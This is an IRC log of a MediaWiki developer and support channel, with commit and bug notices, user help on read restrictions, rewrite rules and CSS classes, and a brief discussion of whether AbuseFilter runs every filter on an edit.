[00:00:06] <Marybelle>	You'd never seen that one? :-)
[00:01:03] <werdna>	there's... an article about it?
[00:01:14] <Marybelle>	http://en.wikipedia.org/wiki/Hidden_Mickey is one someone pointed out to me recently.
[00:01:20] <Emufarmers>	Splarka Shmarka
[00:01:30] <Splarka>	http://poetv.com/video.php?vid=29482  "The Cinco Encyclopedia of Numbers"
[00:02:26] <werdna>	Wikipedia Wikischmedia
[00:02:49] <Splarka>	scavenger hunt: what is the first positive integer on wikipedia with no article or redirect, [[0]] [[1]] [[2]] [[3]] ...
[00:04:31] <Simetrical>	Splarka, [[2601]]?
[00:05:14] *werdna 	andrew-macbook:~ andrew$ perl -e 'for( $i=0; $i<10000;++$i ) { print "[[$i]]\n"; }' > /tmp/1000links
[00:05:21] *werdna 	saves to wikipedia
[00:05:28] *werdna 	looks for redlinks
[00:05:42] <werdna>	2541
[00:05:47] <Simetrical>	Bah!
[00:05:50] <Simetrical>	Slackers!
[00:05:52] <Splarka>	heh
[00:06:09] <Splarka>	okay, now what is the first prime!
[00:06:16] <Splarka>	2541 = 3�7�11�11
[00:06:23] <Splarka>	2601 = 3�3�17�17
[00:06:35] <werdna>	a bah on you
[00:06:45] <werdna>	http://en.wikipedia.org/wiki/User:Werdna/10000 search that
[00:07:13] *werdna 	could add a prime, but cbb
[00:07:57] *Simetrical 	isn't going to check every prime up to 47 to figure out if 2543 is prime
[00:08:09] <Splarka>	http://en.wikipedia.org/wiki/Category:Prime_numbers
[00:08:21] <Emufarmers>	Simetrical: http://www.math.com/students/calculators/source/prime-number.htm
[00:08:32] <Simetrical>	Yeah, yeah, you and your stupid computers.
[00:08:44] <Simetrical>	Real men calculate primality in their head.
[00:08:50] *Emufarmers 	uses an abacus
[00:08:59] <Simetrical>	Abaci are terrible for division.
[00:09:08] <Emufarmers>	It frightens me that you know that
[00:09:11] <Simetrical>	I'm not sure they even work, except by repeated subtraction.
[00:09:24] <Simetrical>	2543 is indeed prime.
[00:09:38] <Simetrical>	My grandfather gave me an abacus when I was little, and I learned how to use it.
[00:09:47] <Simetrical>	It's pretty simple, but it only really works for addition and subtraction.
[00:09:54] <Splarka>	http://xkcd.com/247/
[00:10:12] <Simetrical>	And yet again, I know which it is before I click.
[00:11:22] <Splarka>	http://en.wikipedia.org/wiki/Suanpan
[00:11:35] <werdna>	Simetrical: that's pretty sad
[00:12:17] <Splarka>	Simetrical: ever read the forum post associated with that one?
[00:12:22] <Simetrical>	Splarka, no.
[00:12:45] <Splarka>	not that sad, then ^_^
[00:24:23] <Emufarmers>	brion, how does Upload get added to Special:SpecialPages if it doesn't have isListed()?
[00:27:15] <brion>	Emufarmers: it's listed as a generic SpecialPage
[00:27:21] <brion>	so it gets all the default stuff and calls a function
[00:28:21] <Splarka>	quick, activate the tracking cookie
[00:35:08] <wikibugs>	14(WFM) Watchlist: Say what "time period" you are talking about - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17867  +comment (10innocentkiller)
[00:47:19] <wikibugs>	14(INVALID) Use database instead of filesystem for updateSearchIndex.php position record - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=11654  +comment (10innocentkiller)
[00:48:14] <^demon>	I hate bugs based on hypothetical edge cases no one actually has.
[00:51:08] <CIA-15>	03aaron * r49742 10/trunk/phase3/includes/specials/ (SpecialBlockip.php SpecialRevisiondelete.php): Change for bug 18383, suppress user/talk page on user suppression
[00:52:48] <CIA-15>	03aaron * r49743 10/trunk/phase3/includes/specials/SpecialRevisiondelete.php: revert code from r49742 accidentally committed
[00:55:06] <wikibugs>	03(mod) RevisionDelete: hidden users appear in log entries created after the hiding - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18383  (10JSchulz_4587)
[00:56:29] <werdna>	http://asdf.org/~fatphil/maths/illegal.html
[00:56:39] <Marybelle>	AaronSchulz: That will be reversible, right?
[00:57:28] <AaronSchulz>	it's just deletion
[00:57:52] <AaronSchulz>	not oversight
[00:57:57] <Marybelle>	But then you have deletion logs...
[00:58:14] <Marybelle>	Will those be manually suppressed?
[00:58:24] <AaronSchulz>	it's logged privately
[00:58:37] <AaronSchulz>	just log all suppression stuff
[01:00:06] <Marybelle>	So you have "BadUser1" with his user and user talk page. He gets hidden and the user and user talk pages get deleted. And then those deletion log entries get suppressed? (Or are you talking about putting it directly in the suppress log?)
[01:01:26] <AaronSchulz>	directly
[01:01:43] <Marybelle>	That sounds bad. 
[01:02:01] <Marybelle>	If you navigate to the page, it will just have disappeared without trace?
[01:27:25] <CIA-15>	03nad * r49744 10/trunk/extensions/CategoryWatch/ (CategoryWatch.i18n.php CategoryWatch.php): make articles and cats in emailed message into links
[01:53:44] <chuck>	@search private
[01:53:44] --mwbot--	Results: [botinfo, secrets]
[01:53:49] <chuck>	Hrm.
[01:54:06] <chuck>	Anyone remember the factoid with info about protecting stuff from viewing in MediaWiki?
[01:55:35] <Mike_lifeguard>	!secrets
[01:55:35] --mwbot--	MediaWiki was not designed with read-restrictions in mind, and may not provide air-tight protection against unauthorized access. We will not be held responsible should private information, such as a password or bank details, be leaked, leading to loss of funds or one's job.
[01:55:59] <chuck>	Hmm, no link to the page I was looking for in that factoids
[01:56:01] <chuck>	*factoid
[01:57:14] <Mike_lifeguard>	!lockdown | chuck 
[01:57:14] --mwbot--	chuck: Lockdown is an extension for preventing read or write access by namespace and limiting access to special pages. For more information, see < http://mediawiki.org/wiki/Extension:Lockdown >. For general information on preventing access to your wiki, see < http://www.mediawiki.org/wiki/Manual:Preventing_access >.
[01:57:44] <Mike_lifeguard>	How can you change those/
[02:00:01] <chuck>	Ah, thanks
[02:03:02] <Mike_lifeguard>	!secrets is MediaWiki was not designed with read-restrictions in mind, and may not provide air-tight protection against unauthorized access. We will not be held responsible should private information, such as a password or bank details, be leaked, leading to loss of funds or one's job. See also !lockdown
[02:03:02] --mwbot--	You don't have permission to do that.
[02:03:26] *Mike_lifeguard 	suggests someone who does have permission should do it then 9.9
[02:07:13] <chuck>	@trusted
[02:07:13] --mwbot--	[s23.org, wikia/.*, cc1081997-b.harli1.fr.home.nl, .*\.wikimedia\.org, wikipedia/.*, 222-153-0-95.jetstream.xtra.co.nz, .*\.flyingparchment\.org\.uk, sm.xs4all.nl, wikimedia/.*, silentflame/member/pdpc.base.minuteelectron, cpe-69-201-152-135.nyc.res.rr.com, rbak-164-107-218-33\.resnet\.ohio-state\.edu, unaffiliated/smaug, pdpc/supporter/student/werdnum, cc1269927-a.harli1.fr.home.nl, c-67-171-249-42.hsd1.wa.comcast.net, 217.121.122.151]
[02:07:33] <charitwo>	o_O 
[02:07:39] <charitwo>	use PM for those kinds of commands
[02:07:43] <chuck>	Looks like the bot is prejudices against people without wikipedia, wikimedia, or wikia cloaks :P
[02:10:11] <carl-m>	I updated it
[02:10:49] <chuck>	carl-m: I think you accidentally added in an extra space a few times
[02:12:09] <carl-m>	thanks, fixed. that's gnome-terminal inserting spaces for newlines when you select text
[02:27:02] <jed>	good evening everyone
[02:28:33] <jed>	wondering if anyone has had any experience using: Extension:Auth via MySQL http://www.mediawiki.org/wiki/Extension:Auth_viaMySQL
[02:43:58] <Sean_away>	pretty sure I found a typo in the docs... 
[02:44:15] <CIA-15>	03nad * r49745 10/trunk/extensions/CategoryWatch/CategoryWatch.i18n.php: remove categorywatch-emailbody message and clarify other messages
[02:44:20] <Sean_Colombo>	should be super-easy to commit, but I need a committer :/
[02:44:26] <Sean_Colombo>	http://svn.wikimedia.org/viewvc/mediawiki/trunk/phase3/docs/memcached.txt?view=markup
[02:45:04] <Sean_Colombo>	in the == Setup == section near the top, there is a memcached command and then a sentence which tries to explain what it is doing
[02:45:09] <Sean_Colombo>	but the sentence uses the wrong port-number
[02:46:11] <chuck>	Sean_Colombo: I'll take a look, one sec.
[02:46:50] <Sean_Colombo>	thanks chuck
[02:48:09] <wikibugs>	03(mod) Uncategorized categories/pages/templates refactoring - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=12942  +comment (10jidanni)
[02:49:46] <chuck>	Aaaand...
[02:49:56] <CIA-15>	03charlie * r49746 10/trunk/phase3/docs/memcached.txt: Fixing port error in Memcached docs (Reported by Sean_Colombo in IRC.)
[02:49:58] <chuck>	Voila!
[02:50:01] <Sean_Colombo>	w00t
[02:50:03] <Sean_Colombo>	thanks! :)
[02:50:06] <Sean_Colombo>	now I can sleep
[02:50:15] <Sean_Colombo>	literally... good night & thanks chuck
[02:50:20] <chuck>	heh, cya
[02:55:12] <CIA-15>	03werdna * r49747 10/branches/preferences-work/extensions/FlaggedRevs/FlaggedRevs.php: Fix default for flaggedrevssimpleui
[02:58:49] <CIA-15>	03werdna * r49748 10/branches/preferences-work/ (3 files in 2 dirs): 
[02:58:49] <CIA-15>	Improve array handling by removing special-case logic for gadgets and
[02:58:49] <CIA-15>	searchnamespaces and adding a generic loader for multi-select field types.
[02:58:49] <CIA-15>	Includes a minor interface change -- by default, getOption now returns null, not
[02:58:49] <CIA-15>	''.
[03:04:20] <wikibugs>	14(DUP) linking to anchors in Special Pages, when not English - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17629  +comment (10jidanni)
[03:04:22] <wikibugs>	03(mod) {{int:X}} respects user-defined interface language, breaking link tables etc. (aka {{USERIFCODE}} strikes back) - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=14404  +comment (10jidanni)
[03:10:34] <wikibugs>	03(mod) Add --list-authors option to dumpBackup - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=16082  +comment (10jidanni)
[03:22:15] <wikibugs>	03(mod) Integrate TinyMCE into mediawiki - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17668  +comment (10jidanni)
[03:23:08] <CIA-15>	03werdna * r49749 10/branches/preferences-work/phase3/maintenance/ (archives/patch-user_properties.sql tables.sql): Change varchar(255) to varbinary(32).
[03:32:10] <CIA-15>	03nad * r49750 10/trunk/extensions/CategoryWatch/CategoryWatch.php: use normal watchlists enotif_body message structure
[03:34:59] <wikibugs>	03(mod) Integrate TinyMCE into mediawiki - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17668  +comment (10charlie)
[03:38:04] <CIA-15>	03werdna * r49751 10/trunk/extensions/AbuseFilter/AbuseFilter.parser.php: Merge in r49312 from preferences-work -- non preference related performance improvement to the AbuseFilter parser
[03:41:24] <wikibugs>	03(mod) Add link to filtered Abuse filter log on Special:Contributions - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18423  (10agarrett)
[03:46:16] <wikibugs>	14(WFM) Some Abuse Filter log entries shouldn't be there as the actions doesn't match the stated filter - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18490  +comment (10agarrett)
[04:12:11] <CIA-15>	03nad * r49752 10/trunk/extensions/CategoryWatch/ (CategoryWatch.i18n.php CategoryWatch.php): Can't use wikitext links because email content is text
[04:15:45] <CIA-15>	03nad * r49753 10/trunk/extensions/CategoryWatch/CategoryWatch.php: Use prefixed titles in emailed message
[04:16:38] <CIA-15>	03nad * r49754 10/trunk/extensions/CategoryWatch/CategoryWatch.php: typo
[04:20:38] <CIA-15>	03nad * r49755 10/trunk/extensions/CategoryWatch/CategoryWatch.php: editdate must be calculated inside loop
[04:24:09] <CIA-15>	03werdna * r49756 10/trunk/extensions/AbuseFilter/ (7 files in 2 dirs): Add import/export interface for filters so that filters can be copied across wikis
[04:24:47] <wikibugs>	03(FIXED) Easy way to copy filters from one wiki to another - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18140  +comment (10agarrett)
[04:27:43] <CIA-15>	03nad * r49757 10/trunk/extensions/CategoryWatch/CategoryWatch.php: add links in brackets after article name and cat name
[04:30:30] <CIA-15>	03werdna * r49758 10/trunk/extensions/AbuseFilter/ (AbuseFilter.i18n.php Views/AbuseFilterViewTestBatch.php): Allow filtering by page on AbuseFilter batch testing interface
[04:30:54] <wikibugs>	03(FIXED) Allow restriction by page for AbuseFilter batch testing - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18287  +comment (10agarrett)
[04:41:51] <CIA-15>	03nad * r49759 10/trunk/extensions/CategoryWatch/CategoryWatch.php: friendly links need to be added after array_diff
[04:57:10] <Mike_lifeguard>	What other conferences exist which are similar to fosdem?
[05:02:15] <Marybelle>	http://en.wikipedia.org/wiki/Category:Free_software_related_events_and_awards
[05:02:26] <Marybelle>	http://en.wikipedia.org/wiki/Category:Linux_conferences
[05:03:32] <Mike_lifeguard>	Do we send people to any of those? ( which I should have asked up front :D )
[05:03:42] <Marybelle>	We? MediaWiki?
[05:04:32] <Mike_lifeguard>	sure, or related projects
[05:05:06] <Marybelle>	I'd peek at Brion's user page on en.wiki.
[05:05:12] <Marybelle>	And past versions.
[05:06:31] <Mike_lifeguard>	http://en.wikipedia.org/wiki/File:Wth_police_truck.jpg XD
[05:07:32] *Mike_lifeguard 	sighs
[05:07:40] <Mike_lifeguard>	nothing exciting ever happens here :P
[05:26:17] <Nikerabbit>	morning
[05:27:41] <Splarka>	rar rabbit
[05:57:33] <Prom_cat|Sleep>	Is there an extension for randomly selecting quotes?
[05:57:53] <wikibugs>	03(mod) Some Abuse Filter log entries shouldn't be there as the actions doesn't match the stated filter - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18490  (10mikelifeguard)
[05:57:54] <werdna>	yeah you can probably do it
[05:58:50] <Splarka>	http://www.mediawiki.org/wiki/Extension:RandomSelection
[05:59:02] <Splarka>	pretty simple random thingamajig
[05:59:03] <Prom_cat|Sleep>	ty Splarka
[05:59:26] <Prom_cat|Sleep>	werdna: You know that abuse filter logs rollbacks that dont succede?
[06:00:20] <Prom_cat|Sleep>	IE If you rollback a page and it trips a filter, if the rollback fails becuase someone bet you it still gets logged
[06:00:30] <Prom_cat|Sleep>	to^
[06:00:32] <werdna>	Can you show me a test case?
[06:02:21] <Prom_cat|Sleep>	http://en.wikipedia.org/wiki/Wikipedia_talk:Abuse_filter#Ghost_edits_in_the_filter_logs
[06:02:21] <Prom_cat|Sleep>	Some people were noticing "ghost" edits in the abuse filter logs
[06:04:59] <Splarka>	can null edits trigger the abuse filter?
[06:05:46] <Prom_cat|Sleep>	In that particuler case Z-man put it down to "the abuse filter triggered before MediaWiki checked whether the rollback was valid."
[06:05:57] <Prom_cat|Sleep>	so apparently yes
[06:06:15] <Prom_cat|Sleep>	depends what you mean by null edit
[06:07:01] <Prom_cat|Sleep>	if you mean an edit that is invalid for reasons other than the abuse filter, then yes the AF will still process it as if it was actually made
[06:07:33] <Prom_cat|Sleep>	Im curious if an edit conflict would cause the same thing that the rollback did
[06:10:03] <Prom_cat|Sleep>	I suppose the real question is do we charge a man for murder when is gun failed to fire even though he pulled the trigger?
[06:10:19] <Prom_cat|Sleep>	his^
[06:11:05] <Prom_cat|Sleep>	If the answer is no then werd need to see if he can alter the AF to trigger after ec checks
[06:11:15] <Prom_cat|Sleep>	If the answer is yes then there is no problem
[06:12:12] <Prom_cat|Sleep>	and in a way it should trigger after that anyway becase it will be triggering on those edits which chews up resources unnercerily
[06:16:08] <Prom_cat|Sleep>	thats another interesting theroy
[06:16:17] <Prom_cat|Sleep>	"Other times things like this can happen if a user trips multiple filters, where one only logs but the other warns or disallows, if one only sees the log-only hit, it'll look like a phantom edit, but it was actually stopped by another filter."
[06:17:43] <Prom_cat|Sleep>	A renowned vandal could bypass all the regex in the world by tripping a filter that logs before his edit runs through other filters (that might warn, disallow or block autopromote)
[06:19:24] <Prom_cat|Sleep>	Werdna: does an edit run through all the filters or does it run untill first hit?
[06:23:29] <Prom_cat|Sleep>	I knew it
[06:23:41] <Prom_cat|Sleep>	Werdna we got a problem'
[06:24:00] <Splarka>	Prom_cat|Sleep: http://mantiseye.com/img/caps/102/scr05.jpg
[06:24:13] <Prom_cat|Sleep>	http://en.wikipedia.org/w/index.php?title=Wikipedia%3AABUSEFILTER&diff=285603559&oldid=266889650
[06:24:30] <Prom_cat|Sleep>	I tripped the redirect filter so it didnt block the poop vandalism
[06:25:58] <Prom_cat|Sleep>	Im going to do another test
[06:30:14] <werdna>	Prom_cat|Sleep: sorry I was looking away.
[06:30:44] <Prom_cat|Sleep>	werdna: check the diff above
[06:30:45] <werdna>	Prom_cat|Sleep: all filters are run
[06:30:52] <Prom_cat|Sleep>	no they arnt
[06:31:04] <werdna>	yes they are
[06:31:08] <Prom_cat|Sleep>	I changed a redirect to poop
[06:31:18] <werdna>	Which filter should it have matched?
[06:31:21] <Prom_cat|Sleep>	by tripping the redirect rule it didnt block the poop
[06:31:34] <werdna>	which filter?
[06:31:55] <Prom_cat|Sleep>	http://en.wikipedia.org/wiki/Special:AbuseFilter/35
[06:31:55] <Prom_cat|Sleep>	and
[06:32:00] <Prom_cat|Sleep>	http://en.wikipedia.org/wiki/Special:AbuseFilter/46
[06:32:11] <Prom_cat|Sleep>	Its would have tripped the redirect filter first
[06:32:32] <Prom_cat|Sleep>	oh
[06:32:33] <Prom_cat|Sleep>	duh
[06:32:37] <Prom_cat|Sleep>	wrong namespace
[06:32:42] <Prom_cat|Sleep>	lets try again
[06:32:47] <werdna>	Just trust me.
[06:32:55] <Prom_cat|Sleep>	ok
[06:33:13] <Prom_cat|Sleep>	werdna: What about the triggering on false edits?
[06:34:11] <werdna>	"triggering on false edits"
[06:34:14] <werdna>	can you show me a test case?
[06:34:40] <Prom_cat|Sleep>	The filed rollback that trigered the abuse filter
[06:34:46] <Prom_cat|Sleep>	failed^
[06:35:01] <Prom_cat|Sleep>	ie http://en.wikipedia.org/wiki/Wikipedia_talk:Abuse_filter#Ghost_edits_in_the_filter_logs
[06:38:49] <werdna>	I don't see a bug
[06:40:53] <Nikerabbit>	hi werdna
[06:43:09] <werdna>	hey Nikerabbit 
[06:50:04] <CIA-15>	03straussd * r49760 10/civicrm/vendor/civicrm/current/ (53 files in 36 dirs): Update to 2.2.2.
[06:58:07] <Blizzerand>	awww
[07:01:32] <CIA-15>	03straussd * r49761 10/civicrm/vendor/civicrm/2.2.2/ (107 files in 36 dirs): Tag CiviCRM 2.2.2.
[07:06:49] <CIA-15>	03straussd * r49762 10/civicrm/trunk/sites/all/modules/civicrm/: Update merge properties.
[07:07:46] <CIA-15>	03straussd * r49763 10/civicrm/trunk/sites/all/modules/civicrm/: Set up svnmerge.py metadata.
[07:09:56] *Splarka 	bites chzz
[07:10:19] <chzz>	ow
[07:11:34] <Splarka>	create the link via JS (or modify the link after, in JS, leaving the other as fallback)
[07:12:05] <chzz>	JS has access to the username?
[07:12:09] <Splarka>	yah
[07:12:14] <chzz>	Jolly good, thx.
[07:12:18] *chzz 	slopes off to learn JS
[07:12:58] <Splarka>	so like <span id="java-help-irc-link">[http://link.to/java/irc/thing.htm?username=Anothernoob Java IRC help]</span>
[07:14:18] <chzz>	& then the java tries to change it to a stripped username+_Java
[07:14:25] <chzz>	yep, can see how that could work
[07:14:35] <Splarka>	sec
[07:15:02] <Splarka>	http://p.defau.lt/?CyY_6T36VuHvuxayhpQBQw
[07:15:23] <Splarka>	possibly encodeURIComponent on the wgUserName
[07:15:31] <Splarka>	possibly restrict to certain pages, etc
[07:16:56] <chzz>	will actually not be the URL sub, but a <param=...> - but yes
[07:17:36] <Splarka>	you're embedding the java applet in the wiki page?
[07:20:00] <chzz>	current launch from http://toolserver.org/~bjelleklang/pjirc/index-2.php  which takes info filled in on the default doc in http://toolserver.org/~bjelleklang/pjirc/
[07:21:12] <chzz>	The PJIRC doc explains that nick (as well as channel etc) can be passed to the applet
[07:22:22] <Splarka>	well, then it will be in the URL, as a parameter to the toolserver pjirc
[07:24:19] <chzz>	just found the default index is index.php; so yes, that could use code like you suggested to extract the name, instead of asking for one
[07:26:48] <chzz>	16 char limit, so strip name, chop to 14, and add make it username_j
[07:26:50] <chzz>	or someth
[07:27:35] <chzz>	will need to replace space with _ too
[07:27:57] <Splarka>	http://en.wikipedia.org/wiki/Special:ExpandTemplates?input=%3C%21--+Scroll+to+the+bottom+of+the+page+and+click+the+link+--%3E%0D%0A%0D%0A%5Bhttp%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3D%7B%7BREVISIONUSER%7D%7D%20Click%20Here!%5D
[07:28:15] <Splarka>	hackish
[07:28:34] <Splarka>	where no revision exists, {{REVISIONUSER}} acts like {{CURRENTUSER}} would
[07:29:02] <Splarka>	so in Special:ExpandTemplates or Special:Code or on preview etc
[07:29:14] <chzz>	that's neat
[07:29:38] <Splarka>	it is a bug, in that context, and the best way to get a bug fixed is to exploit it as a feature
[07:30:31] <chzz>	yes; i see. Well, if there's no revisions, then there's no caching issues
[07:31:18] <Splarka>	yes, but this might be fixed in this context, so that trick shouldn't be relied on ^_^
[07:32:00] <chzz>	yep, well, it'd be a messy solution anyway - trying to make the 'click to talk' as simple as poss for the user
[07:32:06] <chzz>	I can see how the java could work tho
[07:33:53] <chzz>	The existing uses <param name="alternatenick" value="AnotherNewbie???">
[07:34:08] <chzz>	...which I guess the applet enumerates to a random increment or someth
[07:34:21] <chzz>	...so that's the 'backup'
[07:38:51] <wikibugs>	03(mod) Preferences: unify filter options of recent changes, new pages, watchlist, rechent changes linked, - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18524  (10bugzilla.wikimedia)
[07:43:05] <wikibugs>	03(NEW) Wikipediacentric wording in message "sf createtemplate aggregationdesc" - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18558 trivial; Normal; MediaWiki extensions: SemanticForms; (bugzilla.wikimedia)
[07:50:07] <wikibugs>	03(NEW) "Right-hand-side"in message may be wrong in RTL wikis. - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18559 enhancement; Normal; MediaWiki extensions: SemanticForms; (bugzilla.wikimedia)
[07:52:45] <wikibugs>	03(NEW) Include form name as $1 in message "sf createproperty linktoform" - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18560 minor; Normal; MediaWiki extensions: SemanticForms; (bugzilla.wikimedia)
[07:54:02] <wikibugs>	03(NEW) Include input field as parameter $1 in message "sf createcategory makesubcategory" - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18561 minor; Normal; MediaWiki extensions: SemanticForms; (bugzilla.wikimedia)
[07:54:43] <ialex>	Splarka: and what should it return in that case?
[07:55:26] <Splarka>	probably nothing, or a <strong class="error">
[07:55:42] <Splarka>	http://www.mediawiki.org/wiki/Special:Code/MediaWiki/48837#c2256
[07:55:58] <Splarka>	the problem is, it has to do this in order to work with subst:
[07:57:04] <werdna>	when are we going to talk Splarka into doing development ;)_
[07:58:05] <Splarka>	'con'gress/'pro'gress, 'dev'elopement/'en'velopement
[07:58:20] <Splarka>	I do sorta the opposite of whatever devs seem to do, a valid counterpoint
[07:58:49] *Splarka 	bites werdna
[08:12:15] <Marybelle>	Where did the extra E come from?
[08:14:16] <wikibugs>	04(REOPENED) linking to anchors in Special Pages, when not English - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17629  +comment (10nospam)
[08:27:45] <wikibugs>	03(mod) linking to anchors in Special Pages, when not English - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17629  (10herd)
[08:28:10] <kraut>	moin
[08:31:38] <t4c>	Hi there.
[08:31:49] <t4c>	I think I broke somethin in my database with mediawiki :). Tried to get uploads working and images and became lil bit frustraded, retried and now I get an error when I want to list uploaded files: http://nopaste.info/bdfd8aa6b4.html any suggestions?
[08:40:06] <ialex>	t4c: yes, Special:ListFiles is broken for PostgreSQL on 1.14
[08:40:35] <ialex>	will be fixed in 1.15
[08:40:49] <t4c>	ialex: ahh this explains this.
[08:41:13] <t4c>	But I have another problem with uploading images. I uploaded the image, but cant view it.
[08:41:32] <t4c>	https://www.digital-bit.ch/wiki/images/8/80/2_t4c_side.jpg get a link like this
[08:41:44] <t4c>	after clicking: There is currently no text in this page. You can search for this page title in other pages, search the related logs, or edit this page.
[08:42:10] <t4c>	could this be a broken mod_rewrite rule?
[08:42:44] <t4c>	http://nopaste.info/79d2e4d471.html redirecting takes place like this
[08:42:59] <ialex>	t4c: this is a problem with your rewrite rules
[08:44:10] <t4c>	mmmh
[08:45:33] <ialex>	t4c: that should not link to a wiki page
[08:47:39] <t4c>	ialex: tried both modrw from the wikidoku :(
[08:52:01] <Rufus`>	Greetings. Is there a way to "password protect" certain pages, or allow only a few members to view/edit certain pages ?
[08:53:29] <wikibugs>	03(mod) Uncategorized categories/pages/templates refactoring - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=12942  +comment (10roan.kattouw)
[08:53:36] <Splarka>	!cms
[08:53:36] --mwbot--	Wikis are designed for openness, to be readable and editable by all. If you want a forum, a blog, a web authoring toolkit or corporate content management system, perhaps don't use wiki software. There is a nice overview of free tools available at <http://www.opensourcecms.com/> including the possibility to try each system. For ways to restrict access in MediaWiki, see !access.
[08:54:15] <Splarka>	the only guarnateed secure way to do that is to use separate wikis (which can use the same install, and same user database, see !farm )
[08:54:23] <Splarka>	^guaranteed, meh
[08:54:30] <Rufus`>	Yes I agreea, but the wiki format is something that fits perfectly to 90% of our job
[08:54:45] <Rufus`>	!farm
[08:54:45] --mwbot--	To run multiple wikis, you can simply install MediaWiki in different folders, with different databases or in one with database prefixes. You can also have multiple wikis using a single installation: <http://www.mediawiki.org/wiki/Manual:Wiki_family> and <http://booleandreams.wordpress.com/2007/06/12/running-multiple-instance-of-mediawiki-on-the-same-server-using-the-same-source-code/>.
[08:54:57] <Splarka>	what I mean is, it is not /designed/ to do that
[08:55:09] <Marybelle>	Use a separate database for private content. MediaWiki has an all or none model.
[08:55:20] <Splarka>	there are some things that approximate it, but if your job relies on keeping those secrets secret, don't do it
[08:55:34] <Marybelle>	See also: !secrets and !worstcase
[08:55:44] <Splarka>	and !morbo
[08:55:55] <Rufus`>	Ok. Thanks for the suggestions
[08:57:06] <Splarka>	see http://board.wikimedia.org/  for an example of an actual read-restricted wiki with big secrets protected from prying eyes
[08:58:12] <Marybelle>	Huge secrets.
[08:58:37] <Rufus`>	Well I managed to make it hidden from guests. I was planning to set a few pages to be viewable just for some members, which are in different groups ( eg not all are sysops, etc. )
[08:59:07] <Splarka>	you can use the read whitelist for a subset of pages made visible, if ya want
[08:59:37] <Splarka>	but if you plan to restrict read access from anyone with edit access to other pages, that is ... spooky
[08:59:58] <Rufus`>	:))
[09:00:17] <Rufus`>	Yeah, I should have chose a forum for that. However is far to ate for that now
[09:00:31] <Rufus`>	I'll look at what you guys suggested. Thank you again
[09:09:10] <faceface>	hi dumb question here but... someone has some nice tables in their wiki (class="wikitable") how do I read the css they use?
[09:09:20] <faceface>	the MediaWiki:Common.css for their wiki is blank
[09:09:33] <faceface>	I was hoping to just copy their MediaWiki:Common.css onto mine
[09:09:50] <faceface>	but I figure I need to 'dig out' the css from their site somehow
[09:10:43] <RoanKattouw>	faceface: MediaWiki:Monobook.css ?
[09:11:30] <faceface>	lemmy look
[09:11:49] <faceface>	blank
[09:12:17] <faceface>	where would class 'wikitable' be defined normally? in some skin I guess?
[09:12:24] <zocky>	faceface, do you have the developer toolbar for firefox installed?
[09:12:49] <zocky>	*web developed
[09:12:59] <zocky>	bah, s/d/r/
[09:13:09] <Splarka>	wikitable was added to core recently
[09:13:17] <Splarka>	are they running 1.15 ?
[09:13:55] <faceface>	found it /* wikitable/prettytable class for skinning normal tables */
[09:14:14] <faceface>	Splarka: prolly
[09:14:33] <faceface>	found it in a file called /w/skins/referencebook/main.css
[09:14:46] <faceface>	but MediaWiki:ReferenceBook.css was blank
[09:14:48] <RoanKattouw>	Ah, then referencebook seems to be their custom skin
[09:14:54] <faceface>	right
[09:14:56] <Splarka>	and very recently copied from Monobook
[09:15:03] <Splarka>	unless they just stuck wikitable in there earlier
[09:15:28] <faceface>	Splarka: sorry, but where can I find a list of css classes for tables? (one in distribution that is)
[09:16:43] <Splarka>	ehm
[09:16:47] *faceface 	edits MediaWiki:Common.css to add the wikitable classed defined on that site
[09:17:14] <Splarka>	http://svn.wikimedia.org/viewvc/mediawiki?view=rev&revision=48842
[09:17:19] <Splarka>	this is where wikitable was added
[09:17:30] <Splarka>	and as far as I remember, that is the first class added for tables
[09:17:53] <Splarka>	there are some other styles that apply to tables, like a white background, and for specific tables like tablepagers...
[09:18:10] <Splarka>	but there is no list of these, really
[09:18:30] *faceface 	documetns it all up neatly in the manual
[09:18:39] <faceface>	things like sortable are in there though right?
[09:19:21] <Splarka>	just grep /skinks for all .css that define 'table.' and 'table#', heh
[09:19:54] <Splarka>	hmm, well, sortable table classes are used by the javascript
[09:20:19] <Splarka>	so they aren't really a "css class", at least sofarinasmuch as css doesn't use them 
[09:20:57] <faceface>	wow that looks really bad on my site... I guess I'm not seeing the whole story
[09:21:48] <Splarka>	http://en.wikipedia.org/wiki/Wikipedia:Catalogue_of_CSS_classes  this is very site-centric, but the upper section is a bit helpful
[09:21:52] *faceface 	bites teh bullet and just sets border="1" as usual
[09:21:59] <faceface>	ty Splarka 
[09:22:01] <Splarka>	note most of those classes are in CSS for that site
[09:28:07] <CIA-15>	03werdna * r49764 10/branches/preferences-work/phase3/includes/HTMLForm.php: Add importData() method, for a clear way to import form data programmatically.
[09:29:43] <CIA-15>	03siebrand * r49765 10/trunk/extensions/AbuseFilter/AbuseFilter.i18n.php: Use {{int:key}} instead of plain text in 'abusefilter-import-intro'
[09:30:34] <CIA-15>	03siebrand * r49766 10/trunk/extensions/AbuseFilter/Views/AbuseFilterViewImport.php: svn:eol-style native
[09:30:42] <CIA-15>	03werdna * r49767 10/branches/preferences-work/phase3/includes/HTMLForm.php: Allow partial imports with importData()
[09:37:25] <CIA-15>	03werdna * r49768 10/branches/preferences-work/phase3/includes/HTMLForm.php: Move UI logic from trySubmit() to show()
[09:39:32] <CIA-15>	03purodha * r49769 10/trunk/extensions/MetavidWiki/languages/MV_Messages.php: 
